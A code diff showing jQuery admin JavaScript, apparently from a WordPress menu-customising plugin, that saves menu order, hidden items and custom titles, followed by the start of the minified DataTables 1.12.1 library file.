// Save custom order into a comma-separated string, triggerred after each drag and drop of menu item
|
||||
// https://api.jqueryui.com/sortable/#event-update
|
||||
// https://api.jqueryui.com/sortable/#method-toArray
|
||||
$('#custom-admin-menu').on( 'sortupdate', function( event, ui) {
|
||||
|
||||
// Get the updated menu order
|
||||
let menuOrder = $('#custom-admin-menu').sortable("toArray").toString();
|
||||
|
||||
// Set hidden input value for saving in options
|
||||
document.getElementById('custom_menu_order').value = menuOrder;
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
// ----- Parent Menu Item Hiding -----
|
||||
|
||||
// Prepare constant to store IDs of menu items that will be hidden
|
||||
if ( document.getElementById('custom_menu_hidden') != null ) {
|
||||
var hiddenMenuItems = document.getElementById('custom_menu_hidden').value.split(","); // array
|
||||
} else {
|
||||
var hiddenMenuItems = []; // array
|
||||
}
|
||||
|
||||
|
||||
// Detect which menu items are being checked. Ref: https://stackoverflow.com/a/3871602
|
||||
Array.from(document.getElementsByClassName('parent-menu-hide-checkbox')).forEach(function(item,index,array) {
|
||||
|
||||
item.addEventListener('click', event => {
|
||||
|
||||
if (event.target.checked) {
|
||||
|
||||
// Add ID of menu item to array
|
||||
hiddenMenuItems.push(event.target.dataset.menuItemId);
|
||||
|
||||
} else {
|
||||
|
||||
// Remove ID of menu item from array
|
||||
const start = hiddenMenuItems.indexOf(event.target.dataset.menuItemId);
|
||||
const deleteCount = 1;
|
||||
hiddenMenuItems.splice(start, deleteCount);
|
||||
|
||||
}
|
||||
|
||||
// Set hidden input value
|
||||
document.getElementById('custom_menu_hidden').value = hiddenMenuItems;
|
||||
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
// Clicking on header save button
|
||||
$('#amo-save-changes').click( function(e) {
|
||||
|
||||
e.preventDefault();
|
||||
|
||||
// Prepare variable to store ID-Title pairs of menu items
|
||||
var customMenuTitles = []; // empty array
|
||||
|
||||
// Initialize other variables
|
||||
var menuItemId = '';
|
||||
var customTitle = '';
|
||||
|
||||
// Save default/custom title values. Ref: https://stackoverflow.com/a/3871602
|
||||
Array.from(document.getElementsByClassName('menu-item-custom-title')).forEach(function(item,index,array) {
|
||||
|
||||
menuItemId = item.dataset.menuItemId;
|
||||
customTitle = item.value;
|
||||
customMenuTitles.push(menuItemId + '__' + customTitle);
|
||||
|
||||
});
|
||||
|
||||
// Set hidden input value
|
||||
document.getElementById('custom_menu_titles').value = customMenuTitles;
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
}); // End of $(document).ready()
|
||||
|
||||
|
||||
|
||||
})( jQuery );
|
||||
+213
@@ -0,0 +1,213 @@
|
||||
/*
|
||||
* This combined file was created by the DataTables downloader builder:
|
||||
* https://datatables.net/download
|
||||
*
|
||||
* To rebuild or modify this file with the latest versions of the included
|
||||
* software please visit:
|
||||
* https://datatables.net/download/#dt/dt-1.12.1
|
||||
*
|
||||
* Included libraries:
|
||||
* DataTables 1.12.1
|
||||
*/
|
||||
|
||||
/*!
|
||||
SpryMedia Ltd.
|
||||
|
||||
This source file is free software, available under the following license:
|
||||
MIT license - http://datatables.net/license
|
||||
|
||||
This source file is distributed in the hope that it will be useful, but
|
||||
WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
|
||||
or FITNESS FOR A PARTICULAR PURPOSE. See the license files for details.
|
||||
|
||||
For details please refer to: http://www.datatables.net
|
||||
DataTables 1.12.1
|
||||
©2008-2022 SpryMedia Ltd - datatables.net/license
|
||||
*/
|
||||
var $jscomp=$jscomp||{};$jscomp.scope={};$jscomp.findInternal=function(l,y,A){l instanceof String&&(l=String(l));for(var q=l.length,E=0;E<q;E++){var P=l[E];if(y.call(A,P,E,l))return{i:E,v:P}}return{i:-1,v:void 0}};$jscomp.ASSUME_ES5=!1;$jscomp.ASSUME_NO_NATIVE_MAP=!1;$jscomp.ASSUME_NO_NATIVE_SET=!1;$jscomp.SIMPLE_FROUND_POLYFILL=!1;$jscomp.ISOLATE_POLYFILLS=!1;
|
||||
$jscomp.defineProperty=$jscomp.ASSUME_ES5||"function"==typeof Object.defineProperties?Object.defineProperty:function(l,y,A){if(l==Array.prototype||l==Object.prototype)return l;l[y]=A.value;return l};$jscomp.getGlobal=function(l){l=["object"==typeof globalThis&&globalThis,l,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var y=0;y<l.length;++y){var A=l[y];if(A&&A.Math==Math)return A}throw Error("Cannot find global object");};$jscomp.global=$jscomp.getGlobal(this);
|
||||
$jscomp.IS_SYMBOL_NATIVE="function"===typeof Symbol&&"symbol"===typeof Symbol("x");$jscomp.TRUST_ES6_POLYFILLS=!$jscomp.ISOLATE_POLYFILLS||$jscomp.IS_SYMBOL_NATIVE;$jscomp.polyfills={};$jscomp.propertyToPolyfillSymbol={};$jscomp.POLYFILL_PREFIX="$jscp$";var $jscomp$lookupPolyfilledValue=function(l,y){var A=$jscomp.propertyToPolyfillSymbol[y];if(null==A)return l[y];A=l[A];return void 0!==A?A:l[y]};
|
||||
$jscomp.polyfill=function(l,y,A,q){y&&($jscomp.ISOLATE_POLYFILLS?$jscomp.polyfillIsolated(l,y,A,q):$jscomp.polyfillUnisolated(l,y,A,q))};$jscomp.polyfillUnisolated=function(l,y,A,q){A=$jscomp.global;l=l.split(".");for(q=0;q<l.length-1;q++){var E=l[q];if(!(E in A))return;A=A[E]}l=l[l.length-1];q=A[l];y=y(q);y!=q&&null!=y&&$jscomp.defineProperty(A,l,{configurable:!0,writable:!0,value:y})};
|
||||
$jscomp.polyfillIsolated=function(l,y,A,q){var E=l.split(".");l=1===E.length;q=E[0];q=!l&&q in $jscomp.polyfills?$jscomp.polyfills:$jscomp.global;for(var P=0;P<E.length-1;P++){var la=E[P];if(!(la in q))return;q=q[la]}E=E[E.length-1];A=$jscomp.IS_SYMBOL_NATIVE&&"es6"===A?q[E]:null;y=y(A);null!=y&&(l?$jscomp.defineProperty($jscomp.polyfills,E,{configurable:!0,writable:!0,value:y}):y!==A&&($jscomp.propertyToPolyfillSymbol[E]=$jscomp.IS_SYMBOL_NATIVE?$jscomp.global.Symbol(E):$jscomp.POLYFILL_PREFIX+E,
|
||||
E=$jscomp.propertyToPolyfillSymbol[E],$jscomp.defineProperty(q,E,{configurable:!0,writable:!0,value:y})))};$jscomp.polyfill("Array.prototype.find",function(l){return l?l:function(y,A){return $jscomp.findInternal(this,y,A).v}},"es6","es3");
|
||||
(function(l){"function"===typeof define&&define.amd?define(["jquery"],function(y){return l(y,window,document)}):"object"===typeof exports?module.exports=function(y,A){y||(y=window);A||(A="undefined"!==typeof window?require("jquery"):require("jquery")(y));return l(A,y,y.document)}:window.DataTable=l(jQuery,window,document)})(function(l,y,A,q){function E(a){var b,c,d={};l.each(a,function(e,h){(b=e.match(/^([^A-Z]+?)([A-Z])/))&&-1!=="a aa ai ao as b fn i m o s ".indexOf(b[1]+" ")&&(c=e.replace(b[0],
|
||||
b[2].toLowerCase()),d[c]=e,"o"===b[1]&&E(a[e]))});a._hungarianMap=d}function P(a,b,c){a._hungarianMap||E(a);var d;l.each(b,function(e,h){d=a._hungarianMap[e];d===q||!c&&b[d]!==q||("o"===d.charAt(0)?(b[d]||(b[d]={}),l.extend(!0,b[d],b[e]),P(a[d],b[d],c)):b[d]=b[e])})}function la(a){var b=u.defaults.oLanguage,c=b.sDecimal;c&&bb(c);if(a){var d=a.sZeroRecords;!a.sEmptyTable&&d&&"No data available in table"===b.sEmptyTable&&Y(a,a,"sZeroRecords","sEmptyTable");!a.sLoadingRecords&&d&&"Loading..."===b.sLoadingRecords&&
|
||||
Y(a,a,"sZeroRecords","sLoadingRecords");a.sInfoThousands&&(a.sThousands=a.sInfoThousands);(a=a.sDecimal)&&c!==a&&bb(a)}}function Db(a){S(a,"ordering","bSort");S(a,"orderMulti","bSortMulti");S(a,"orderClasses","bSortClasses");S(a,"orderCellsTop","bSortCellsTop");S(a,"order","aaSorting");S(a,"orderFixed","aaSortingFixed");S(a,"paging","bPaginate");S(a,"pagingType","sPaginationType");S(a,"pageLength","iDisplayLength");S(a,"searching","bFilter");"boolean"===typeof a.sScrollX&&(a.sScrollX=a.sScrollX?"100%":
|
||||
"");"boolean"===typeof a.scrollX&&(a.scrollX=a.scrollX?"100%":"");if(a=a.aoSearchCols)for(var b=0,c=a.length;b<c;b++)a[b]&&P(u.models.oSearch,a[b])}function Eb(a){S(a,"orderable","bSortable");S(a,"orderData","aDataSort");S(a,"orderSequence","asSorting");S(a,"orderDataType","sortDataType");var b=a.aDataSort;"number"!==typeof b||Array.isArray(b)||(a.aDataSort=[b])}function Fb(a){if(!u.__browser){var b={};u.__browser=b;var c=l("<div/>").css({position:"fixed",top:0,left:-1*l(y).scrollLeft(),height:1,
|
||||
width:1,overflow:"hidden"}).append(l("<div/>").css({position:"absolute",top:1,left:1,width:100,overflow:"scroll"}).append(l("<div/>").css({width:"100%",height:10}))).appendTo("body"),d=c.children(),e=d.children();b.barWidth=d[0].offsetWidth-d[0].clientWidth;b.bScrollOversize=100===e[0].offsetWidth&&100!==d[0].clientWidth;b.bScrollbarLeft=1!==Math.round(e.offset().left);b.bBounding=c[0].getBoundingClientRect().width?!0:!1;c.remove()}l.extend(a.oBrowser,u.__browser);a.oScroll.iBarWidth=u.__browser.barWidth}
|
||||
function Gb(a,b,c,d,e,h){var f=!1;if(c!==q){var g=c;f=!0}for(;d!==e;)a.hasOwnProperty(d)&&(g=f?b(g,a[d],d,a):a[d],f=!0,d+=h);return g}function cb(a,b){var c=u.defaults.column,d=a.aoColumns.length;c=l.extend({},u.models.oColumn,c,{nTh:b?b:A.createElement("th"),sTitle:c.sTitle?c.sTitle:b?b.innerHTML:"",aDataSort:c.aDataSort?c.aDataSort:[d],mData:c.mData?c.mData:d,idx:d});a.aoColumns.push(c);c=a.aoPreSearchCols;c[d]=l.extend({},u.models.oSearch,c[d]);Ia(a,d,l(b).data())}function Ia(a,b,c){b=a.aoColumns[b];
|
||||
var d=a.oClasses,e=l(b.nTh);if(!b.sWidthOrig){b.sWidthOrig=e.attr("width")||null;var h=(e.attr("style")||"").match(/width:\s*(\d+[pxem%]+)/);h&&(b.sWidthOrig=h[1])}c!==q&&null!==c&&(Eb(c),P(u.defaults.column,c,!0),c.mDataProp===q||c.mData||(c.mData=c.mDataProp),c.sType&&(b._sManualType=c.sType),c.className&&!c.sClass&&(c.sClass=c.className),c.sClass&&e.addClass(c.sClass),h=b.sClass,l.extend(b,c),Y(b,c,"sWidth","sWidthOrig"),h!==b.sClass&&(b.sClass=h+" "+b.sClass),c.iDataSort!==q&&(b.aDataSort=[c.iDataSort]),
|
||||
Y(b,c,"aDataSort"));var f=b.mData,g=ma(f),k=b.mRender?ma(b.mRender):null;c=function(m){return"string"===typeof m&&-1!==m.indexOf("@")};b._bAttrSrc=l.isPlainObject(f)&&(c(f.sort)||c(f.type)||c(f.filter));b._setter=null;b.fnGetData=function(m,n,p){var t=g(m,n,q,p);return k&&n?k(t,n,m,p):t};b.fnSetData=function(m,n,p){return ha(f)(m,n,p)};"number"!==typeof f&&(a._rowReadObject=!0);a.oFeatures.bSort||(b.bSortable=!1,e.addClass(d.sSortableNone));a=-1!==l.inArray("asc",b.asSorting);c=-1!==l.inArray("desc",
|
||||
b.asSorting);b.bSortable&&(a||c)?a&&!c?(b.sSortingClass=d.sSortableAsc,b.sSortingClassJUI=d.sSortJUIAscAllowed):!a&&c?(b.sSortingClass=d.sSortableDesc,b.sSortingClassJUI=d.sSortJUIDescAllowed):(b.sSortingClass=d.sSortable,b.sSortingClassJUI=d.sSortJUI):(b.sSortingClass=d.sSortableNone,b.sSortingClassJUI="")}function sa(a){if(!1!==a.oFeatures.bAutoWidth){var b=a.aoColumns;db(a);for(var c=0,d=b.length;c<d;c++)b[c].nTh.style.width=b[c].sWidth}b=a.oScroll;""===b.sY&&""===b.sX||Ja(a);F(a,null,"column-sizing",
|
||||
[a])}function ta(a,b){a=Ka(a,"bVisible");return"number"===typeof a[b]?a[b]:null}function ua(a,b){a=Ka(a,"bVisible");b=l.inArray(b,a);return-1!==b?b:null}function na(a){var b=0;l.each(a.aoColumns,function(c,d){d.bVisible&&"none"!==l(d.nTh).css("display")&&b++});return b}function Ka(a,b){var c=[];l.map(a.aoColumns,function(d,e){d[b]&&c.push(e)});return c}function eb(a){var b=a.aoColumns,c=a.aoData,d=u.ext.type.detect,e,h,f;var g=0;for(e=b.length;g<e;g++){var k=b[g];var m=[];if(!k.sType&&k._sManualType)k.sType=
|
||||
k._sManualType;else if(!k.sType){var n=0;for(h=d.length;n<h;n++){var p=0;for(f=c.length;p<f;p++){m[p]===q&&(m[p]=T(a,p,g,"type"));var t=d[n](m[p],a);if(!t&&n!==d.length-1)break;if("html"===t&&!aa(m[p]))break}if(t){k.sType=t;break}}k.sType||(k.sType="string")}}}function Hb(a,b,c,d){var e,h,f,g=a.aoColumns;if(b)for(e=b.length-1;0<=e;e--){var k=b[e];var m=k.target!==q?k.target:k.targets!==q?k.targets:k.aTargets;Array.isArray(m)||(m=[m]);var n=0;for(h=m.length;n<h;n++)if("number"===typeof m[n]&&0<=m[n]){for(;g.length<=
|
||||
m[n];)cb(a);d(m[n],k)}else if("number"===typeof m[n]&&0>m[n])d(g.length+m[n],k);else if("string"===typeof m[n]){var p=0;for(f=g.length;p<f;p++)("_all"==m[n]||l(g[p].nTh).hasClass(m[n]))&&d(p,k)}}if(c)for(e=0,a=c.length;e<a;e++)d(e,c[e])}function ia(a,b,c,d){var e=a.aoData.length,h=l.extend(!0,{},u.models.oRow,{src:c?"dom":"data",idx:e});h._aData=b;a.aoData.push(h);for(var f=a.aoColumns,g=0,k=f.length;g<k;g++)f[g].sType=null;a.aiDisplayMaster.push(e);b=a.rowIdFn(b);b!==q&&(a.aIds[b]=h);!c&&a.oFeatures.bDeferRender||
|
||||
fb(a,e,c,d);return e}function La(a,b){var c;b instanceof l||(b=l(b));return b.map(function(d,e){c=gb(a,e);return ia(a,c.data,e,c.cells)})}function T(a,b,c,d){"search"===d?d="filter":"order"===d&&(d="sort");var e=a.iDraw,h=a.aoColumns[c],f=a.aoData[b]._aData,g=h.sDefaultContent,k=h.fnGetData(f,d,{settings:a,row:b,col:c});if(k===q)return a.iDrawError!=e&&null===g&&(ea(a,0,"Requested unknown parameter "+("function"==typeof h.mData?"{function}":"'"+h.mData+"'")+" for row "+b+", column "+c,4),a.iDrawError=
|
||||
e),g;if((k===f||null===k)&&null!==g&&d!==q)k=g;else if("function"===typeof k)return k.call(f);if(null===k&&"display"===d)return"";"filter"===d&&(a=u.ext.type.search,a[h.sType]&&(k=a[h.sType](k)));return k}function Ib(a,b,c,d){a.aoColumns[c].fnSetData(a.aoData[b]._aData,d,{settings:a,row:b,col:c})}function hb(a){return l.map(a.match(/(\\.|[^\.])+/g)||[""],function(b){return b.replace(/\\\./g,".")})}function ib(a){return U(a.aoData,"_aData")}function Ma(a){a.aoData.length=0;a.aiDisplayMaster.length=
|
||||
0;a.aiDisplay.length=0;a.aIds={}}function Na(a,b,c){for(var d=-1,e=0,h=a.length;e<h;e++)a[e]==b?d=e:a[e]>b&&a[e]--; -1!=d&&c===q&&a.splice(d,1)}function va(a,b,c,d){var e=a.aoData[b],h,f=function(k,m){for(;k.childNodes.length;)k.removeChild(k.firstChild);k.innerHTML=T(a,b,m,"display")};if("dom"!==c&&(c&&"auto"!==c||"dom"!==e.src)){var g=e.anCells;if(g)if(d!==q)f(g[d],d);else for(c=0,h=g.length;c<h;c++)f(g[c],c)}else e._aData=gb(a,e,d,d===q?q:e._aData).data;e._aSortData=null;e._aFilterData=null;f=
|
||||
a.aoColumns;if(d!==q)f[d].sType=null;else{c=0;for(h=f.length;c<h;c++)f[c].sType=null;jb(a,e)}}function gb(a,b,c,d){var e=[],h=b.firstChild,f,g=0,k,m=a.aoColumns,n=a._rowReadObject;d=d!==q?d:n?{}:[];var p=function(x,w){if("string"===typeof x){var r=x.indexOf("@");-1!==r&&(r=x.substring(r+1),ha(x)(d,w.getAttribute(r)))}},t=function(x){if(c===q||c===g)f=m[g],k=x.innerHTML.trim(),f&&f._bAttrSrc?(ha(f.mData._)(d,k),p(f.mData.sort,x),p(f.mData.type,x),p(f.mData.filter,x)):n?(f._setter||(f._setter=ha(f.mData)),
|
||||
f._setter(d,k)):d[g]=k;g++};if(h)for(;h;){var v=h.nodeName.toUpperCase();if("TD"==v||"TH"==v)t(h),e.push(h);h=h.nextSibling}else for(e=b.anCells,h=0,v=e.length;h<v;h++)t(e[h]);(b=b.firstChild?b:b.nTr)&&(b=b.getAttribute("id"))&&ha(a.rowId)(d,b);return{data:d,cells:e}}function fb(a,b,c,d){var e=a.aoData[b],h=e._aData,f=[],g,k;if(null===e.nTr){var m=c||A.createElement("tr");e.nTr=m;e.anCells=f;m._DT_RowIndex=b;jb(a,e);var n=0;for(g=a.aoColumns.length;n<g;n++){var p=a.aoColumns[n];e=(k=c?!1:!0)?A.createElement(p.sCellType):
|
||||
d[n];e._DT_CellIndex={row:b,column:n};f.push(e);if(k||!(!p.mRender&&p.mData===n||l.isPlainObject(p.mData)&&p.mData._===n+".display"))e.innerHTML=T(a,b,n,"display");p.sClass&&(e.className+=" "+p.sClass);p.bVisible&&!c?m.appendChild(e):!p.bVisible&&c&&e.parentNode.removeChild(e);p.fnCreatedCell&&p.fnCreatedCell.call(a.oInstance,e,T(a,b,n),h,b,n)}F(a,"aoRowCreatedCallback",null,[m,h,b,f])}}function jb(a,b){var c=b.nTr,d=b._aData;if(c){if(a=a.rowIdFn(d))c.id=a;d.DT_RowClass&&(a=d.DT_RowClass.split(" "),
|
||||
b.__rowc=b.__rowc?Oa(b.__rowc.concat(a)):a,l(c).removeClass(b.__rowc.join(" ")).addClass(d.DT_RowClass));d.DT_RowAttr&&l(c).attr(d.DT_RowAttr);d.DT_RowData&&l(c).data(d.DT_RowData)}}function Jb(a){var b,c,d=a.nTHead,e=a.nTFoot,h=0===l("th, td",d).length,f=a.oClasses,g=a.aoColumns;h&&(c=l("<tr/>").appendTo(d));var k=0;for(b=g.length;k<b;k++){var m=g[k];var n=l(m.nTh).addClass(m.sClass);h&&n.appendTo(c);a.oFeatures.bSort&&(n.addClass(m.sSortingClass),!1!==m.bSortable&&(n.attr("tabindex",a.iTabIndex).attr("aria-controls",
|
||||
a.sTableId),kb(a,m.nTh,k)));m.sTitle!=n[0].innerHTML&&n.html(m.sTitle);lb(a,"header")(a,n,m,f)}h&&wa(a.aoHeader,d);l(d).children("tr").children("th, td").addClass(f.sHeaderTH);l(e).children("tr").children("th, td").addClass(f.sFooterTH);if(null!==e)for(a=a.aoFooter[0],k=0,b=a.length;k<b;k++)m=g[k],m.nTf=a[k].cell,m.sClass&&l(m.nTf).addClass(m.sClass)}function xa(a,b,c){var d,e,h=[],f=[],g=a.aoColumns.length;if(b){c===q&&(c=!1);var k=0;for(d=b.length;k<d;k++){h[k]=b[k].slice();h[k].nTr=b[k].nTr;for(e=
|
||||
g-1;0<=e;e--)a.aoColumns[e].bVisible||c||h[k].splice(e,1);f.push([])}k=0;for(d=h.length;k<d;k++){if(a=h[k].nTr)for(;e=a.firstChild;)a.removeChild(e);e=0;for(b=h[k].length;e<b;e++){var m=g=1;if(f[k][e]===q){a.appendChild(h[k][e].cell);for(f[k][e]=1;h[k+g]!==q&&h[k][e].cell==h[k+g][e].cell;)f[k+g][e]=1,g++;for(;h[k][e+m]!==q&&h[k][e].cell==h[k][e+m].cell;){for(c=0;c<g;c++)f[k+c][e+m]=1;m++}l(h[k][e].cell).attr("rowspan",g).attr("colspan",m)}}}}}function ja(a,b){var c="ssp"==Q(a),d=a.iInitDisplayStart;
|
||||
d!==q&&-1!==d&&(a._iDisplayStart=c?d:d>=a.fnRecordsDisplay()?0:d,a.iInitDisplayStart=-1);c=F(a,"aoPreDrawCallback","preDraw",[a]);if(-1!==l.inArray(!1,c))V(a,!1);else{c=[];var e=0;d=a.asStripeClasses;var h=d.length,f=a.oLanguage,g="ssp"==Q(a),k=a.aiDisplay,m=a._iDisplayStart,n=a.fnDisplayEnd();a.bDrawing=!0;if(a.bDeferLoading)a.bDeferLoading=!1,a.iDraw++,V(a,!1);else if(!g)a.iDraw++;else if(!a.bDestroying&&!b){Kb(a);return}if(0!==k.length)for(b=g?a.aoData.length:n,f=g?0:m;f<b;f++){g=k[f];var p=a.aoData[g];
|
||||
null===p.nTr&&fb(a,g);var t=p.nTr;if(0!==h){var v=d[e%h];p._sRowStripe!=v&&(l(t).removeClass(p._sRowStripe).addClass(v),p._sRowStripe=v)}F(a,"aoRowCallback",null,[t,p._aData,e,f,g]);c.push(t);e++}else e=f.sZeroRecords,1==a.iDraw&&"ajax"==Q(a)?e=f.sLoadingRecords:f.sEmptyTable&&0===a.fnRecordsTotal()&&(e=f.sEmptyTable),c[0]=l("<tr/>",{"class":h?d[0]:""}).append(l("<td />",{valign:"top",colSpan:na(a),"class":a.oClasses.sRowEmpty}).html(e))[0];F(a,"aoHeaderCallback","header",[l(a.nTHead).children("tr")[0],
|
||||
ib(a),m,n,k]);F(a,"aoFooterCallback","footer",[l(a.nTFoot).children("tr")[0],ib(a),m,n,k]);d=l(a.nTBody);d.children().detach();d.append(l(c));F(a,"aoDrawCallback","draw",[a]);a.bSorted=!1;a.bFiltered=!1;a.bDrawing=!1}}function ka(a,b){var c=a.oFeatures,d=c.bFilter;c.bSort&&Lb(a);d?ya(a,a.oPreviousSearch):a.aiDisplay=a.aiDisplayMaster.slice();!0!==b&&(a._iDisplayStart=0);a._drawHold=b;ja(a);a._drawHold=!1}function Mb(a){var b=a.oClasses,c=l(a.nTable);c=l("<div/>").insertBefore(c);var d=a.oFeatures,
|
||||
e=l("<div/>",{id:a.sTableId+"_wrapper","class":b.sWrapper+(a.nTFoot?"":" "+b.sNoFooter)});a.nHolding=c[0];a.nTableWrapper=e[0];a.nTableReinsertBefore=a.nTable.nextSibling;for(var h=a.sDom.split(""),f,g,k,m,n,p,t=0;t<h.length;t++){f=null;g=h[t];if("<"==g){k=l("<div/>")[0];m=h[t+1];if("'"==m||'"'==m){n="";for(p=2;h[t+p]!=m;)n+=h[t+p],p++;"H"==n?n=b.sJUIHeader:"F"==n&&(n=b.sJUIFooter);-1!=n.indexOf(".")?(m=n.split("."),k.id=m[0].substr(1,m[0].length-1),k.className=m[1]):"#"==n.charAt(0)?k.id=n.substr(1,
|
||||
n.length-1):k.className=n;t+=p}e.append(k);e=l(k)}else if(">"==g)e=e.parent();else if("l"==g&&d.bPaginate&&d.bLengthChange)f=Nb(a);else if("f"==g&&d.bFilter)f=Ob(a);else if("r"==g&&d.bProcessing)f=Pb(a);else if("t"==g)f=Qb(a);else if("i"==g&&d.bInfo)f=Rb(a);else if("p"==g&&d.bPaginate)f=Sb(a);else if(0!==u.ext.feature.length)for(k=u.ext.feature,p=0,m=k.length;p<m;p++)if(g==k[p].cFeature){f=k[p].fnInit(a);break}f&&(k=a.aanFeatures,k[g]||(k[g]=[]),k[g].push(f),e.append(f))}c.replaceWith(e);a.nHolding=
|
||||
null}function wa(a,b){b=l(b).children("tr");var c,d,e;a.splice(0,a.length);var h=0;for(e=b.length;h<e;h++)a.push([]);h=0;for(e=b.length;h<e;h++){var f=b[h];for(c=f.firstChild;c;){if("TD"==c.nodeName.toUpperCase()||"TH"==c.nodeName.toUpperCase()){var g=1*c.getAttribute("colspan");var k=1*c.getAttribute("rowspan");g=g&&0!==g&&1!==g?g:1;k=k&&0!==k&&1!==k?k:1;var m=0;for(d=a[h];d[m];)m++;var n=m;var p=1===g?!0:!1;for(d=0;d<g;d++)for(m=0;m<k;m++)a[h+m][n+d]={cell:c,unique:p},a[h+m].nTr=f}c=c.nextSibling}}}
|
||||
function Pa(a,b,c){var d=[];c||(c=a.aoHeader,b&&(c=[],wa(c,b)));b=0;for(var e=c.length;b<e;b++)for(var h=0,f=c[b].length;h<f;h++)!c[b][h].unique||d[h]&&a.bSortCellsTop||(d[h]=c[b][h].cell);return d}function Qa(a,b,c){F(a,"aoServerParams","serverParams",[b]);if(b&&Array.isArray(b)){var d={},e=/(.*?)\[\]$/;l.each(b,function(n,p){(n=p.name.match(e))?(n=n[0],d[n]||(d[n]=[]),d[n].push(p.value)):d[p.name]=p.value});b=d}var h=a.ajax,f=a.oInstance,g=function(n){var p=a.jqXHR?a.jqXHR.status:null;if(null===
|
||||
n||"number"===typeof p&&204==p)n={},za(a,n,[]);(p=n.error||n.sError)&&ea(a,0,p);a.json=n;F(a,null,"xhr",[a,n,a.jqXHR]);c(n)};if(l.isPlainObject(h)&&h.data){var k=h.data;var m="function"===typeof k?k(b,a):k;b="function"===typeof k&&m?m:l.extend(!0,b,m);delete h.data}m={data:b,success:g,dataType:"json",cache:!1,type:a.sServerMethod,error:function(n,p,t){t=F(a,null,"xhr",[a,null,a.jqXHR]);-1===l.inArray(!0,t)&&("parsererror"==p?ea(a,0,"Invalid JSON response",1):4===n.readyState&&ea(a,0,"Ajax error",
|
||||
7));V(a,!1)}};a.oAjaxData=b;F(a,null,"preXhr",[a,b]);a.fnServerData?a.fnServerData.call(f,a.sAjaxSource,l.map(b,function(n,p){return{name:p,value:n}}),g,a):a.sAjaxSource||"string"===typeof h?a.jqXHR=l.ajax(l.extend(m,{url:h||a.sAjaxSource})):"function"===typeof h?a.jqXHR=h.call(f,b,g,a):(a.jqXHR=l.ajax(l.extend(m,h)),h.data=k)}function Kb(a){a.iDraw++;V(a,!0);Qa(a,Tb(a),function(b){Ub(a,b)})}function Tb(a){var b=a.aoColumns,c=b.length,d=a.oFeatures,e=a.oPreviousSearch,h=a.aoPreSearchCols,f=[],g=oa(a);
|
||||
var k=a._iDisplayStart;var m=!1!==d.bPaginate?a._iDisplayLength:-1;var n=function(x,w){f.push({name:x,value:w})};n("sEcho",a.iDraw);n("iColumns",c);n("sColumns",U(b,"sName").join(","));n("iDisplayStart",k);n("iDisplayLength",m);var p={draw:a.iDraw,columns:[],order:[],start:k,length:m,search:{value:e.sSearch,regex:e.bRegex}};for(k=0;k<c;k++){var t=b[k];var v=h[k];m="function"==typeof t.mData?"function":t.mData;p.columns.push({data:m,name:t.sName,searchable:t.bSearchable,orderable:t.bSortable,search:{value:v.sSearch,
|
||||
regex:v.bRegex}});n("mDataProp_"+k,m);d.bFilter&&(n("sSearch_"+k,v.sSearch),n("bRegex_"+k,v.bRegex),n("bSearchable_"+k,t.bSearchable));d.bSort&&n("bSortable_"+k,t.bSortable)}d.bFilter&&(n("sSearch",e.sSearch),n("bRegex",e.bRegex));d.bSort&&(l.each(g,function(x,w){p.order.push({column:w.col,dir:w.dir});n("iSortCol_"+x,w.col);n("sSortDir_"+x,w.dir)}),n("iSortingCols",g.length));b=u.ext.legacy.ajax;return null===b?a.sAjaxSource?f:p:b?f:p}function Ub(a,b){var c=function(f,g){return b[f]!==q?b[f]:b[g]},
|
||||
d=za(a,b),e=c("sEcho","draw"),h=c("iTotalRecords","recordsTotal");c=c("iTotalDisplayRecords","recordsFiltered");if(e!==q){if(1*e<a.iDraw)return;a.iDraw=1*e}d||(d=[]);Ma(a);a._iRecordsTotal=parseInt(h,10);a._iRecordsDisplay=parseInt(c,10);e=0;for(h=d.length;e<h;e++)ia(a,d[e]);a.aiDisplay=a.aiDisplayMaster.slice();ja(a,!0);a._bInitComplete||Ra(a,b);V(a,!1)}function za(a,b,c){a=l.isPlainObject(a.ajax)&&a.ajax.dataSrc!==q?a.ajax.dataSrc:a.sAjaxDataProp;if(!c)return"data"===a?b.aaData||b[a]:""!==a?ma(a)(b):
|
||||
b;ha(a)(b,c)}function Ob(a){var b=a.oClasses,c=a.sTableId,d=a.oLanguage,e=a.oPreviousSearch,h=a.aanFeatures,f='<input type="search" class="'+b.sFilterInput+'"/>',g=d.sSearch;g=g.match(/_INPUT_/)?g.replace("_INPUT_",f):g+f;b=l("<div/>",{id:h.f?null:c+"_filter","class":b.sFilter}).append(l("<label/>").append(g));var k=function(n){var p=this.value?this.value:"";e.return&&"Enter"!==n.key||p==e.sSearch||(ya(a,{sSearch:p,bRegex:e.bRegex,bSmart:e.bSmart,bCaseInsensitive:e.bCaseInsensitive,"return":e.return}),
|
||||
a._iDisplayStart=0,ja(a))};h=null!==a.searchDelay?a.searchDelay:"ssp"===Q(a)?400:0;var m=l("input",b).val(e.sSearch).attr("placeholder",d.sSearchPlaceholder).on("keyup.DT search.DT input.DT paste.DT cut.DT",h?mb(k,h):k).on("mouseup",function(n){setTimeout(function(){k.call(m[0],n)},10)}).on("keypress.DT",function(n){if(13==n.keyCode)return!1}).attr("aria-controls",c);l(a.nTable).on("search.dt.DT",function(n,p){if(a===p)try{m[0]!==A.activeElement&&m.val(e.sSearch)}catch(t){}});return b[0]}function ya(a,
|
||||
b,c){var d=a.oPreviousSearch,e=a.aoPreSearchCols,h=function(g){d.sSearch=g.sSearch;d.bRegex=g.bRegex;d.bSmart=g.bSmart;d.bCaseInsensitive=g.bCaseInsensitive;d.return=g.return},f=function(g){return g.bEscapeRegex!==q?!g.bEscapeRegex:g.bRegex};eb(a);if("ssp"!=Q(a)){Vb(a,b.sSearch,c,f(b),b.bSmart,b.bCaseInsensitive,b.return);h(b);for(b=0;b<e.length;b++)Wb(a,e[b].sSearch,b,f(e[b]),e[b].bSmart,e[b].bCaseInsensitive);Xb(a)}else h(b);a.bFiltered=!0;F(a,null,"search",[a])}function Xb(a){for(var b=u.ext.search,
|
||||
